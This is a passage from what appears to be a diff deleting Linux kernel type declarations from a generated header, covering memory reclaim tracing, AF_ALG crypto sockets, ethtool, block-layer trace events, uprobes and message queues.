nr_dirty; - long unsigned int nr_writeback; - long unsigned int nr_congested; - long unsigned int nr_immediate; - unsigned int nr_activate0; - unsigned int nr_activate1; - long unsigned int nr_ref_keep; - long unsigned int nr_unmap_fail; - int priority; - int reclaim_flags; - char __data[0]; -}; - -struct trace_event_raw_mm_vmscan_lru_shrink_active { - struct trace_entry ent; - int nid; - long unsigned int nr_taken; - long unsigned int nr_active; - long unsigned int nr_deactivated; - long unsigned int nr_referenced; - int priority; - int reclaim_flags; - char __data[0]; -}; - -struct trace_event_raw_mm_vmscan_node_reclaim_begin { - struct trace_entry ent; - int nid; - int order; - long unsigned int gfp_flags; - char __data[0]; -}; - -struct trace_event_raw_mm_vmscan_throttled { - struct trace_entry ent; - int nid; - int usec_timeout; - int usec_delayed; - int reason; - char __data[0]; -}; - -struct trace_event_data_offsets_mm_vmscan_kswapd_sleep {}; - -struct trace_event_data_offsets_mm_vmscan_kswapd_wake {}; - -struct trace_event_data_offsets_mm_vmscan_wakeup_kswapd {}; - -struct trace_event_data_offsets_mm_vmscan_direct_reclaim_begin_template {}; - -struct trace_event_data_offsets_mm_vmscan_direct_reclaim_end_template {}; - -struct trace_event_data_offsets_mm_shrink_slab_start {}; - -struct trace_event_data_offsets_mm_shrink_slab_end {}; - -struct trace_event_data_offsets_mm_vmscan_lru_isolate {}; - -struct trace_event_data_offsets_mm_vmscan_write_folio {}; - -struct trace_event_data_offsets_mm_vmscan_lru_shrink_inactive {}; - -struct trace_event_data_offsets_mm_vmscan_lru_shrink_active {}; - -struct trace_event_data_offsets_mm_vmscan_node_reclaim_begin {}; - -struct trace_event_data_offsets_mm_vmscan_throttled {}; - -typedef void (*btf_trace_mm_vmscan_kswapd_sleep)(void *, int); - -typedef void (*btf_trace_mm_vmscan_kswapd_wake)(void *, int, int, int); - -typedef void (*btf_trace_mm_vmscan_wakeup_kswapd)(void *, int, int, int, gfp_t); - -typedef void (*btf_trace_mm_vmscan_direct_reclaim_begin)(void *, int, gfp_t); - -typedef void (*btf_trace_mm_vmscan_memcg_reclaim_begin)(void *, int, gfp_t); - -typedef void (*btf_trace_mm_vmscan_memcg_softlimit_reclaim_begin)(void *, int, gfp_t); - -typedef void (*btf_trace_mm_vmscan_direct_reclaim_end)(void *, long unsigned int); - -typedef void (*btf_trace_mm_vmscan_memcg_reclaim_end)(void *, long unsigned int); - -typedef void (*btf_trace_mm_vmscan_memcg_softlimit_reclaim_end)(void *, long unsigned int); - -typedef void (*btf_trace_mm_shrink_slab_start)(void *, struct shrinker *, struct shrink_control *, long int, long unsigned int, long long unsigned int, long unsigned int, int); - -typedef void (*btf_trace_mm_shrink_slab_end)(void *, struct shrinker *, int, int, long int, long int, long int); - -typedef void (*btf_trace_mm_vmscan_lru_isolate)(void *, int, int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, isolate_mode_t, int); - -typedef void (*btf_trace_mm_vmscan_write_folio)(void *, struct folio *); - -typedef void (*btf_trace_mm_vmscan_lru_shrink_inactive)(void *, int, long unsigned int, long unsigned int, struct reclaim_stat *, int, int); - -typedef void (*btf_trace_mm_vmscan_lru_shrink_active)(void *, int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, int, int); - -typedef void (*btf_trace_mm_vmscan_node_reclaim_begin)(void *, int, int, gfp_t); - -typedef void (*btf_trace_mm_vmscan_node_reclaim_end)(void *, long unsigned int); - -typedef void (*btf_trace_mm_vmscan_throttled)(void *, int, int, int, int); - -struct scan_control { - long unsigned int nr_to_reclaim; - nodemask_t *nodemask; - struct mem_cgroup *target_mem_cgroup; - long unsigned int anon_cost; - long unsigned int file_cost; - unsigned int may_deactivate: 2; - unsigned int force_deactivate: 1; - unsigned int skipped_deactivate: 1; - unsigned int may_writepage: 1; - unsigned int may_unmap: 1; - unsigned int may_swap: 1; - unsigned int proactive: 1; - unsigned int memcg_low_reclaim: 1; - unsigned int memcg_low_skipped: 1; - unsigned int hibernation_mode: 1; - unsigned int compaction_ready: 1; - unsigned int cache_trim_mode: 1; - unsigned int file_is_tiny: 1; - unsigned int no_demotion: 1; - s8 order; - s8 priority; - s8 reclaim_idx; - gfp_t gfp_mask; - long unsigned int nr_scanned; - long unsigned int nr_reclaimed; - struct { - unsigned int dirty; - unsigned int unqueued_dirty; - unsigned int congested; - unsigned int writeback; - unsigned int immediate; - unsigned int file_taken; - unsigned int taken; - } nr; - struct reclaim_state reclaim_state; -}; - -typedef enum { - PAGE_KEEP = 0, - PAGE_ACTIVATE = 1, - PAGE_SUCCESS = 2, - PAGE_CLEAN = 3, -} pageout_t; - -enum folio_references { - FOLIOREF_RECLAIM = 0, - FOLIOREF_RECLAIM_CLEAN = 1, - FOLIOREF_KEEP = 2, - FOLIOREF_ACTIVATE = 3, -}; - -enum scan_balance { - SCAN_EQUAL = 0, - SCAN_FRACT = 1, - SCAN_ANON = 2, - SCAN_FILE = 3, -}; - -struct crypto_report_aead { - char type[64]; - char geniv[64]; - unsigned int blocksize; - unsigned int maxauthsize; - unsigned int ivsize; -}; - -enum pkcs7_actions { - ACT_pkcs7_check_content_type = 0, - ACT_pkcs7_extract_cert = 1, - ACT_pkcs7_note_OID = 2, - ACT_pkcs7_note_certificate_list = 3, - ACT_pkcs7_note_content = 4, - ACT_pkcs7_note_data = 5, - ACT_pkcs7_note_signed_info = 6, - ACT_pkcs7_note_signeddata_version = 7, - ACT_pkcs7_note_signerinfo_version = 8, - ACT_pkcs7_sig_note_authenticated_attr = 9, - ACT_pkcs7_sig_note_digest_algo = 10, - ACT_pkcs7_sig_note_issuer = 11, - ACT_pkcs7_sig_note_pkey_algo = 12, - ACT_pkcs7_sig_note_serial = 13, - ACT_pkcs7_sig_note_set_of_authattrs = 14, - ACT_pkcs7_sig_note_signature = 15, - ACT_pkcs7_sig_note_skid = 16, - NR__pkcs7_actions = 17, -}; - -enum { - DIO_SHOULD_DIRTY = 1, - DIO_IS_SYNC = 2, -}; - -struct blkdev_dio { - union { - struct kiocb *iocb; - struct task_struct *waiter; - }; - size_t size; - atomic_t ref; - unsigned int flags; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct bio bio; - long: 64; - long: 64; -}; - -struct acpi_mem_mapping { - acpi_physical_address physical_address; - u8 *logical_address; - acpi_size length; - struct acpi_mem_mapping *next_mm; -}; - -struct acpi_mem_space_context { - u32 length; - acpi_physical_address address; - struct acpi_mem_mapping *cur_mm; - struct acpi_mem_mapping *first_mm; -}; - -struct acpi_data_table_space_context { - void *pointer; -}; - -struct quirks_list_struct { - struct hid_device_id hid_bl_item; - struct list_head node; -}; - -struct tc_prio_qopt { - int bands; - __u8 priomap[16]; -}; - -struct skb_array { - struct ptr_ring ring; -}; - -struct psched_ratecfg { - u64 rate_bytes_ps; - u32 mult; - u16 overhead; - u16 mpu; - u8 linklayer; - u8 shift; -}; - -struct psched_pktrate { - u64 rate_pkts_ps; - u32 mult; - u8 shift; -}; - -struct pfifo_fast_priv { - struct skb_array q[3]; -}; - -struct tx_work { - struct delayed_work work; - struct sock *sk; -}; - -struct tls_rec; - -struct tls_sw_context_tx { - struct crypto_aead *aead_send; - struct crypto_wait async_wait; - struct tx_work tx_work; - struct tls_rec *open_rec; - struct list_head tx_list; - atomic_t encrypt_pending; - spinlock_t encrypt_compl_lock; - int async_notify; - u8 async_capable: 1; - long unsigned int tx_bitmask; -}; - -enum { - TCP_BPF_IPV4 = 0, - TCP_BPF_IPV6 = 1, - TCP_BPF_NUM_PROTS = 2, -}; - -enum { - TCP_BPF_BASE = 0, - TCP_BPF_TX = 1, - TCP_BPF_RX = 2, - TCP_BPF_TXRX = 3, - TCP_BPF_NUM_CFGS = 4, -}; - -enum { - MPTCP_SUBFLOW_ATTR_UNSPEC = 0, - MPTCP_SUBFLOW_ATTR_TOKEN_REM = 1, - MPTCP_SUBFLOW_ATTR_TOKEN_LOC = 2, - MPTCP_SUBFLOW_ATTR_RELWRITE_SEQ = 3, - MPTCP_SUBFLOW_ATTR_MAP_SEQ = 4, - MPTCP_SUBFLOW_ATTR_MAP_SFSEQ = 5, - MPTCP_SUBFLOW_ATTR_SSN_OFFSET = 6, - MPTCP_SUBFLOW_ATTR_MAP_DATALEN = 7, - MPTCP_SUBFLOW_ATTR_FLAGS = 8, - MPTCP_SUBFLOW_ATTR_ID_REM = 9, - MPTCP_SUBFLOW_ATTR_ID_LOC = 10, - MPTCP_SUBFLOW_ATTR_PAD = 11, - __MPTCP_SUBFLOW_ATTR_MAX = 12, -}; - -enum tsx_ctrl_states { - TSX_CTRL_ENABLE = 0, - TSX_CTRL_DISABLE = 1, - TSX_CTRL_RTM_ALWAYS_ABORT = 2, - TSX_CTRL_NOT_SUPPORTED = 3, -}; - -struct mtrr_sentry { - __u64 base; - __u32 size; - __u32 type; -}; - -struct mtrr_gentry { - __u64 base; - __u32 size; - __u32 regnum; - __u32 type; - __u32 _pad; -}; - -enum { - MEMTYPE_EXACT_MATCH = 0, - MEMTYPE_END_MATCH = 1, -}; - -struct bpf_iter_seq_map_info { - u32 map_id; -}; - -struct bpf_iter__bpf_map { - union { - struct bpf_iter_meta *meta; - }; - union { - struct bpf_map *map; - }; -}; - -struct saved { - struct path link; - struct delayed_call done; - const char *name; - unsigned int seq; -}; - -struct nameidata { - struct path path; - struct qstr last; - struct path root; - struct inode *inode; - unsigned int flags; - unsigned int state; - unsigned int seq; - unsigned int next_seq; - unsigned int m_seq; - unsigned int r_seq; - int last_type; - unsigned int depth; - int total_link_count; - struct saved *stack; - struct saved internal[2]; - struct filename *name; - struct nameidata *saved; - unsigned int root_seq; - int dfd; - kuid_t dir_uid; - umode_t dir_mode; -}; - -struct renamedata { - struct user_namespace *old_mnt_userns; - struct inode *old_dir; - struct dentry *old_dentry; - struct user_namespace *new_mnt_userns; - struct inode *new_dir; - struct dentry *new_dentry; - struct inode **delegated_inode; - unsigned int flags; -}; - -enum { - LAST_NORM = 0, - LAST_ROOT = 1, - LAST_DOT = 2, - LAST_DOTDOT = 3, -}; - -enum { - WALK_TRAILING = 1, - WALK_MORE = 2, - WALK_NOFOLLOW = 4, -}; - -struct ima_key_entry { - struct list_head list; - void *payload; - size_t payload_len; - char *keyring_name; -}; - -struct rand_data { - __u64 data; - __u64 old_data; - __u64 prev_time; - __u64 last_delta; - __s64 last_delta2; - unsigned int osr; - unsigned char *mem; - unsigned int memlocation; - unsigned int memblocks; - unsigned int memblocksize; - unsigned int memaccessloops; - int rct_count; - unsigned int apt_observations; - unsigned int apt_count; - unsigned int apt_base; - unsigned int apt_base_set: 1; - unsigned int health_failure: 1; -}; - -struct sockaddr_alg_new { - __u16 salg_family; - __u8 salg_type[14]; - __u32 salg_feat; - __u32 salg_mask; - __u8 salg_name[0]; -}; - -struct af_alg_iv { - __u32 ivlen; - __u8 iv[0]; -}; - -struct af_alg_type; - -struct alg_sock { - struct sock sk; - struct sock *parent; - atomic_t refcnt; - atomic_t nokey_refcnt; - const struct af_alg_type *type; - void *private; -}; - -struct af_alg_type { - void * (*bind)(const char *, u32, u32); - void (*release)(void *); - int (*setkey)(void *, const u8 *, unsigned int); - int (*setentropy)(void *, sockptr_t, unsigned int); - int (*accept)(void *, struct sock *); - int (*accept_nokey)(void *, struct sock *); - int (*setauthsize)(void *, unsigned int); - struct proto_ops *ops; - struct proto_ops *ops_nokey; - struct module *owner; - char name[14]; -}; - -struct af_alg_control { - struct af_alg_iv *iv; - int op; - unsigned int aead_assoclen; -}; - -struct af_alg_sgl { - struct scatterlist sg[17]; - struct page *pages[16]; - unsigned int npages; -}; - -struct af_alg_tsgl { - struct list_head list; - unsigned int cur; - struct scatterlist sg[0]; -}; - -struct af_alg_rsgl { - struct af_alg_sgl sgl; - struct list_head list; - size_t sg_num_bytes; -}; - -struct af_alg_async_req { - struct kiocb *iocb; - struct sock *sk; - struct af_alg_rsgl first_rsgl; - struct af_alg_rsgl *last_rsgl; - struct list_head rsgl_list; - struct scatterlist *tsgl; - unsigned int tsgl_entries; - unsigned int outlen; - unsigned int areqlen; - union { - struct aead_request aead_req; - struct skcipher_request skcipher_req; - } cra_u; -}; - -struct af_alg_ctx { - struct list_head tsgl_list; - void *iv; - size_t aead_assoclen; - struct crypto_wait wait; - size_t used; - atomic_t rcvused; - bool more; - bool merge; - bool enc; - bool init; - unsigned int len; -}; - -struct alg_type_list { - const struct af_alg_type *type; - struct list_head list; -}; - -struct logo_data { - int depth; - int needs_directpalette; - int needs_truepalette; - int needs_cmapreset; - const struct linux_logo *logo; -}; - -struct trace_event_raw_iommu_group_event { - struct trace_entry ent; - int gid; - u32 __data_loc_device; - char __data[0]; -}; - -struct trace_event_raw_iommu_device_event { - struct trace_entry ent; - u32 __data_loc_device; - char __data[0]; -}; - -struct trace_event_raw_map { - struct trace_entry ent; - u64 iova; - u64 paddr; - size_t size; - char __data[0]; -}; - -struct trace_event_raw_unmap { - struct trace_entry ent; - u64 iova; - size_t size; - size_t unmapped_size; - char __data[0]; -}; - -struct trace_event_raw_iommu_error { - struct trace_entry ent; - u32 __data_loc_device; - u32 __data_loc_driver; - u64 iova; - int flags; - char __data[0]; -}; - -struct trace_event_data_offsets_iommu_group_event { - u32 device; -}; - -struct trace_event_data_offsets_iommu_device_event { - u32 device; -}; - -struct trace_event_data_offsets_map {}; - -struct trace_event_data_offsets_unmap {}; - -struct trace_event_data_offsets_iommu_error { - u32 device; - u32 driver; -}; - -typedef void (*btf_trace_add_device_to_group)(void *, int, struct device *); - -typedef void (*btf_trace_remove_device_from_group)(void *, int, struct device *); - -typedef void (*btf_trace_attach_device_to_domain)(void *, struct device *); - -typedef void (*btf_trace_detach_device_from_domain)(void *, struct device *); - -typedef void (*btf_trace_map)(void *, long unsigned int, phys_addr_t, size_t); - -typedef void (*btf_trace_unmap)(void *, long unsigned int, size_t, size_t); - -typedef void (*btf_trace_io_page_fault)(void *, struct device *, long unsigned int, int); - -enum { - TCA_STATS_UNSPEC = 0, - TCA_STATS_BASIC = 1, - TCA_STATS_RATE_EST = 2, - TCA_STATS_QUEUE = 3, - TCA_STATS_APP = 4, - TCA_STATS_RATE_EST64 = 5, - TCA_STATS_PAD = 6, - TCA_STATS_BASIC_HW = 7, - TCA_STATS_PKT64 = 8, - __TCA_STATS_MAX = 9, -}; - -struct gnet_stats_basic { - __u64 bytes; - __u32 packets; -}; - -struct gnet_stats_rate_est { - __u32 bps; - __u32 pps; -}; - -struct ethtool_cmd { - __u32 cmd; - __u32 supported; - __u32 advertising; - __u16 speed; - __u8 duplex; - __u8 port; - __u8 phy_address; - __u8 transceiver; - __u8 autoneg; - __u8 mdio_support; - __u32 maxtxpkt; - __u32 maxrxpkt; - __u16 speed_hi; - __u8 eth_tp_mdix; - __u8 eth_tp_mdix_ctrl; - __u32 lp_advertising; - __u32 reserved[2]; -}; - -struct ethtool_value { - __u32 cmd; - __u32 data; -}; - -enum tunable_type_id { - ETHTOOL_TUNABLE_UNSPEC = 0, - ETHTOOL_TUNABLE_U8 = 1, - ETHTOOL_TUNABLE_U16 = 2, - ETHTOOL_TUNABLE_U32 = 3, - ETHTOOL_TUNABLE_U64 = 4, - ETHTOOL_TUNABLE_STRING = 5, - ETHTOOL_TUNABLE_S8 = 6, - ETHTOOL_TUNABLE_S16 = 7, - ETHTOOL_TUNABLE_S32 = 8, - ETHTOOL_TUNABLE_S64 = 9, -}; - -struct ethtool_gstrings { - __u32 cmd; - __u32 string_set; - __u32 len; - __u8 data[0]; -}; - -struct ethtool_sset_info { - __u32 cmd; - __u32 reserved; - __u64 sset_mask; - __u32 data[0]; -}; - -struct ethtool_perm_addr { - __u32 cmd; - __u32 size; - __u8 data[0]; -}; - -enum ethtool_flags { - ETH_FLAG_TXVLAN = 128, - ETH_FLAG_RXVLAN = 256, - ETH_FLAG_LRO = 32768, - ETH_FLAG_NTUPLE = 134217728, - ETH_FLAG_RXHASH = 268435456, -}; - -struct ethtool_rxfh { - __u32 cmd; - __u32 rss_context; - __u32 indir_size; - __u32 key_size; - __u8 hfunc; - __u8 rsvd8[3]; - __u32 rsvd32; - __u32 rss_config[0]; -}; - -struct ethtool_get_features_block { - __u32 available; - __u32 requested; - __u32 active; - __u32 never_changed; -}; - -struct ethtool_gfeatures { - __u32 cmd; - __u32 size; - struct ethtool_get_features_block features[0]; -}; - -struct ethtool_set_features_block { - __u32 valid; - __u32 requested; -}; - -struct ethtool_sfeatures { - __u32 cmd; - __u32 size; - struct ethtool_set_features_block features[0]; -}; - -enum ethtool_sfeatures_retval_bits { - ETHTOOL_F_UNSUPPORTED__BIT = 0, - ETHTOOL_F_WISH__BIT = 1, - ETHTOOL_F_COMPAT__BIT = 2, -}; - -struct ethtool_per_queue_op { - __u32 cmd; - __u32 sub_command; - __u32 queue_mask[128]; - char data[0]; -}; - -struct ethtool_rx_flow_rule { - struct flow_rule *rule; - long unsigned int priv[0]; -}; - -struct ethtool_rx_flow_spec_input { - const struct ethtool_rx_flow_spec *fs; - u32 rss_ctx; -}; - -struct ethtool_devlink_compat { - struct devlink *devlink; - union { - struct ethtool_flash efl; - struct ethtool_drvinfo info; - }; -}; - -struct ethtool_link_usettings { - struct ethtool_link_settings base; - struct { - __u32 supported[4]; - __u32 advertising[4]; - __u32 lp_advertising[4]; - } link_modes; -}; - -struct ethtool_rx_flow_key { - struct flow_dissector_key_basic basic; - union { - struct flow_dissector_key_ipv4_addrs ipv4; - struct flow_dissector_key_ipv6_addrs ipv6; - }; - struct flow_dissector_key_ports tp; - struct flow_dissector_key_ip ip; - struct flow_dissector_key_vlan vlan; - struct flow_dissector_key_eth_addrs eth_addrs; -}; - -struct ethtool_rx_flow_match { - struct flow_dissector dissector; - long: 0; - struct ethtool_rx_flow_key key; - struct ethtool_rx_flow_key mask; -}; - -struct inet_diag_req { - __u8 idiag_family; - __u8 idiag_src_len; - __u8 idiag_dst_len; - __u8 idiag_ext; - struct inet_diag_sockid id; - __u32 idiag_states; - __u32 idiag_dbs; -}; - -struct inet_diag_bc_op { - unsigned char code; - unsigned char yes; - short unsigned int no; -}; - -enum { - INET_DIAG_BC_NOP = 0, - INET_DIAG_BC_JMP = 1, - INET_DIAG_BC_S_GE = 2, - INET_DIAG_BC_S_LE = 3, - INET_DIAG_BC_D_GE = 4, - INET_DIAG_BC_D_LE = 5, - INET_DIAG_BC_AUTO = 6, - INET_DIAG_BC_S_COND = 7, - INET_DIAG_BC_D_COND = 8, - INET_DIAG_BC_DEV_COND = 9, - INET_DIAG_BC_MARK_COND = 10, - INET_DIAG_BC_S_EQ = 11, - INET_DIAG_BC_D_EQ = 12, - INET_DIAG_BC_CGROUP_COND = 13, -}; - -struct inet_diag_hostcond { - __u8 family; - __u8 prefix_len; - int port; - __be32 addr[0]; -}; - -struct inet_diag_markcond { - __u32 mark; - __u32 mask; -}; - -struct inet_diag_meminfo { - __u32 idiag_rmem; - __u32 idiag_wmem; - __u32 idiag_fmem; - __u32 idiag_tmem; -}; - -struct inet_diag_sockopt { - __u8 recverr: 1; - __u8 is_icsk: 1; - __u8 freebind: 1; - __u8 hdrincl: 1; - __u8 mc_loop: 1; - __u8 transparent: 1; - __u8 mc_all: 1; - __u8 nodefrag: 1; - __u8 bind_address_no_port: 1; - __u8 recverr_rfc4884: 1; - __u8 defer_connect: 1; - __u8 unused: 5; -}; - -struct inet_diag_entry { - const __be32 *saddr; - const __be32 *daddr; - u16 sport; - u16 dport; - u16 family; - u16 userlocks; - u32 ifindex; - u32 mark; - u64 cgroup_id; -}; - -struct acpi_table_mcfg { - struct acpi_table_header header; - u8 reserved[8]; -}; - -struct acpi_mcfg_allocation { - u64 address; - u16 pci_segment; - u8 start_bus_number; - u8 end_bus_number; - u32 reserved; -}; - -struct pci_mmcfg_region { - struct list_head list; - struct resource res; - u64 address; - char *virt; - u16 segment; - u8 start_bus; - u8 end_bus; - char name[30]; -}; - -struct pci_mmcfg_hostbridge_probe { - u32 bus; - u32 devfn; - u32 vendor; - u32 device; - const char * (*probe)(); -}; - -typedef bool (*check_reserved_t)(u64, u64, enum e820_type); - -struct cstate_entry { - struct { - unsigned int eax; - unsigned int ecx; - } states[8]; -}; - -struct pci_hostbridge_probe { - u32 bus; - u32 slot; - u32 vendor; - u32 device; -}; - -struct mod_tree_root { - struct latch_tree_root root; - long unsigned int addr_min; - long unsigned int addr_max; -}; - -struct bpf_iter_seq_prog_info { - u32 prog_id; -}; - -struct bpf_iter__bpf_prog { - union { - struct bpf_iter_meta *meta; - }; - union { - struct bpf_prog *prog; - }; -}; - -struct md5_state { - u32 hash[4]; - u32 block[16]; - u64 byte_count; -}; - -enum x509_actions { - ACT_x509_extract_key_data = 0, - ACT_x509_extract_name_segment = 1, - ACT_x509_note_OID = 2, - ACT_x509_note_issuer = 3, - ACT_x509_note_not_after = 4, - ACT_x509_note_not_before = 5, - ACT_x509_note_params = 6, - ACT_x509_note_serial = 7, - ACT_x509_note_sig_algo = 8, - ACT_x509_note_signature = 9, - ACT_x509_note_subject = 10, - ACT_x509_note_tbs_certificate = 11, - ACT_x509_process_extension = 12, - NR__x509_actions = 13, -}; - -enum x509_akid_actions { - ACT_x509_akid_note_kid = 0, - ACT_x509_akid_note_name = 1, - ACT_x509_akid_note_serial = 2, - ACT_x509_extract_name_segment___2 = 3, - ACT_x509_note_OID___2 = 4, - NR__x509_akid_actions = 5, -}; - -struct asn1_decoder; - -struct x509_parse_context { - struct x509_certificate *cert; - long unsigned int data; - const void *key; - size_t key_size; - const void *params; - size_t params_size; - enum OID key_algo; - enum OID last_oid; - enum OID sig_algo; - u8 o_size; - u8 cn_size; - u8 email_size; - u16 o_offset; - u16 cn_offset; - u16 email_offset; - unsigned int raw_akid_size; - const void *raw_akid; - const void *akid_raw_issuer; - unsigned int akid_raw_issuer_size; -}; - -struct blk_plug_cb; - -typedef void (*blk_plug_cb_fn)(struct blk_plug_cb *, bool); - -struct blk_plug_cb { - struct list_head list; - blk_plug_cb_fn callback; - void *data; -}; - -struct trace_event_raw_block_buffer { - struct trace_entry ent; - dev_t dev; - sector_t sector; - size_t size; - char __data[0]; -}; - -struct trace_event_raw_block_rq_requeue { - struct trace_entry ent; - dev_t dev; - sector_t sector; - unsigned int nr_sector; - char rwbs[8]; - u32 __data_loc_cmd; - char __data[0]; -}; - -struct trace_event_raw_block_rq_completion { - struct trace_entry ent; - dev_t dev; - sector_t sector; - unsigned int nr_sector; - int error; - char rwbs[8]; - u32 __data_loc_cmd; - char __data[0]; -}; - -struct trace_event_raw_block_rq { - struct trace_entry ent; - dev_t dev; - sector_t sector; - unsigned int nr_sector; - unsigned int bytes; - char rwbs[8]; - char comm[16]; - u32 __data_loc_cmd; - char __data[0]; -}; - -struct trace_event_raw_block_bio_complete { - struct trace_entry ent; - dev_t dev; - sector_t sector; - unsigned int nr_sector; - int error; - char rwbs[8]; - char __data[0]; -}; - -struct trace_event_raw_block_bio { - struct trace_entry ent; - dev_t dev; - sector_t sector; - unsigned int nr_sector; - char rwbs[8]; - char comm[16]; - char __data[0]; -}; - -struct trace_event_raw_block_plug { - struct trace_entry ent; - char comm[16]; - char __data[0]; -}; - -struct trace_event_raw_block_unplug { - struct trace_entry ent; - int nr_rq; - char comm[16]; - char __data[0]; -}; - -struct trace_event_raw_block_split { - struct trace_entry ent; - dev_t dev; - sector_t sector; - sector_t new_sector; - char rwbs[8]; - char comm[16]; - char __data[0]; -}; - -struct trace_event_raw_block_bio_remap { - struct trace_entry ent; - dev_t dev; - sector_t sector; - unsigned int nr_sector; - dev_t old_dev; - sector_t old_sector; - char rwbs[8]; - char __data[0]; -}; - -struct trace_event_raw_block_rq_remap { - struct trace_entry ent; - dev_t dev; - sector_t sector; - unsigned int nr_sector; - dev_t old_dev; - sector_t old_sector; - unsigned int nr_bios; - char rwbs[8]; - char __data[0]; -}; - -struct trace_event_data_offsets_block_buffer {}; - -struct trace_event_data_offsets_block_rq_requeue { - u32 cmd; -}; - -struct trace_event_data_offsets_block_rq_completion { - u32 cmd; -}; - -struct trace_event_data_offsets_block_rq { - u32 cmd; -}; - -struct trace_event_data_offsets_block_bio_complete {}; - -struct trace_event_data_offsets_block_bio {}; - -struct trace_event_data_offsets_block_plug {}; - -struct trace_event_data_offsets_block_unplug {}; - -struct trace_event_data_offsets_block_split {}; - -struct trace_event_data_offsets_block_bio_remap {}; - -struct trace_event_data_offsets_block_rq_remap {}; - -typedef void (*btf_trace_block_touch_buffer)(void *, struct buffer_head *); - -typedef void (*btf_trace_block_dirty_buffer)(void *, struct buffer_head *); - -typedef void (*btf_trace_block_rq_requeue)(void *, struct request *); - -typedef void (*btf_trace_block_rq_complete)(void *, struct request *, blk_status_t, unsigned int); - -typedef void (*btf_trace_block_rq_error)(void *, struct request *, blk_status_t, unsigned int); - -typedef void (*btf_trace_block_rq_insert)(void *, struct request *); - -typedef void (*btf_trace_block_rq_issue)(void *, struct request *); - -typedef void (*btf_trace_block_rq_merge)(void *, struct request *); - -typedef void (*btf_trace_block_bio_complete)(void *, struct request_queue *, struct bio *); - -typedef void (*btf_trace_block_bio_bounce)(void *, struct bio *); - -typedef void (*btf_trace_block_bio_backmerge)(void *, struct bio *); - -typedef void (*btf_trace_block_bio_frontmerge)(void *, struct bio *); - -typedef void (*btf_trace_block_bio_queue)(void *, struct bio *); - -typedef void (*btf_trace_block_getrq)(void *, struct bio *); - -typedef void (*btf_trace_block_plug)(void *, struct request_queue *); - -typedef void (*btf_trace_block_unplug)(void *, struct request_queue *, unsigned int, bool); - -typedef void (*btf_trace_block_split)(void *, struct bio *, unsigned int); - -typedef void (*btf_trace_block_bio_remap)(void *, struct bio *, dev_t, sector_t); - -typedef void (*btf_trace_block_rq_remap)(void *, struct request *, dev_t, sector_t); - -struct ahash_request; - -struct link_mode_info { - int speed; - u8 lanes; - u8 duplex; -}; - -struct linkmodes_reply_data { - struct ethnl_reply_data base; - struct ethtool_link_ksettings ksettings; - struct ethtool_link_settings *lsettings; - bool peer_empty; -}; - -struct bictcp { - u32 cnt; - u32 last_max_cwnd; - u32 last_cwnd; - u32 last_time; - u32 bic_origin_point; - u32 bic_K; - u32 delay_min; - u32 epoch_start; - u32 ack_cnt; - u32 tcp_cwnd; - u16 unused; - u8 sample_cnt; - u8 found; - u32 round_start; - u32 end_seq; - u32 last_ack; - u32 curr_rtt; -}; - -struct sr6_tlv { - __u8 type; - __u8 len; - __u8 data[0]; -}; - -enum { - SEG6_ATTR_UNSPEC = 0, - SEG6_ATTR_DST = 1, - SEG6_ATTR_DSTLEN = 2, - SEG6_ATTR_HMACKEYID = 3, - SEG6_ATTR_SECRET = 4, - SEG6_ATTR_SECRETLEN = 5, - SEG6_ATTR_ALGID = 6, - SEG6_ATTR_HMACINFO = 7, - __SEG6_ATTR_MAX = 8, -}; - -enum { - SEG6_CMD_UNSPEC = 0, - SEG6_CMD_SETHMAC = 1, - SEG6_CMD_DUMPHMAC = 2, - SEG6_CMD_SET_TUNSRC = 3, - SEG6_CMD_GET_TUNSRC = 4, - __SEG6_CMD_MAX = 5, -}; - -struct jump_label_patch { - const void *code; - int size; -}; - -struct pkru_state { - u32 pkru; - u32 pad; -}; - -enum uprobe_filter_ctx { - UPROBE_FILTER_REGISTER = 0, - UPROBE_FILTER_UNREGISTER = 1, - UPROBE_FILTER_MMAP = 2, -}; - -struct uprobe_consumer { - int (*handler)(struct uprobe_consumer *, struct pt_regs *); - int (*ret_handler)(struct uprobe_consumer *, long unsigned int, struct pt_regs *); - bool (*filter)(struct uprobe_consumer *, enum uprobe_filter_ctx, struct mm_struct *); - struct uprobe_consumer *next; -}; - -struct uprobe_trace_entry_head { - struct trace_entry ent; - long unsigned int vaddr[0]; -}; - -struct trace_uprobe { - struct dyn_event devent; - struct uprobe_consumer consumer; - struct path path; - struct inode *inode; - char *filename; - long unsigned int offset; - long unsigned int ref_ctr_offset; - long unsigned int nhit; - struct trace_probe tp; -}; - -struct uprobe_dispatch_data { - struct trace_uprobe *tu; - long unsigned int bp_addr; -}; - -struct uprobe_cpu_buffer { - struct mutex mutex; - void *buf; -}; - -typedef bool (*filter_func_t)(struct uprobe_consumer *, enum uprobe_filter_ctx, struct mm_struct *); - -struct msgbuf { - __kernel_long_t mtype; - char mtext[1]; -}; - -struct msg; - -struct msqid_ds { - struct ipc_perm msg_perm; - struct msg *msg_first; - struct msg *msg_last; - __kernel_old_time_t msg_stime; - __kernel_old_time_t msg_rtime; - __kernel_old_time_t msg_ctime; - long unsigned int msg_lcbytes; - long unsigned int msg_lqbytes; - short unsigned int msg_cbytes; - short unsigned int msg_qnum; - short unsigned int msg_qbytes; - __kernel_ipc_pid_t msg_lspid; - __kernel_ipc_pid_t msg_lrpid; -}; - -struct msqid64_ds { - struct ipc64_perm msg_perm; - long int msg_stime; - long int msg_rtime; - long int msg_ctime; - long unsigned int msg_cbytes; - long unsigned int msg_qnum; - long unsigned int msg_qbytes; - __kernel_pid_t msg_lspid; - __kernel_pid_t msg_lrpid; - long unsigned int __unused4; - long unsigned int __unused5; -}; - -struct msginfo { - int msgpool; - int msgmap; - int msgmax; - int msgmnb; - int msgmni; - int msgssz; - int msgtql; - short unsigned int msgseg; -}; - -struct msg_queue { - struct kern_ipc_perm q_perm; - time64_t q_stime; - time64_t q_rtime; - time64_t q_ctime; - long unsigned int q_cbytes; - long unsigned int q_qnum; - long unsigned int q_qbytes; - struct pid *q_lspid; - struct pid *q_lrpid; - struct list_head q_messages; - struct list_head q_receivers; - struct list_head q_senders; - long: 64; - long: 64; -}; - -struct msg_receiver { - struct list_head r_list; - struct task_struct *r_tsk; - int r_mode; - long int r_msgtype; - long int r_maxsize; - struct msg_msg *r_msg; -}; - -struct msg_sender { - struct list_head list; - struct task_struct *tsk; - size_t msgsz; -}; - -struct crypto_report_blkcipher { - char 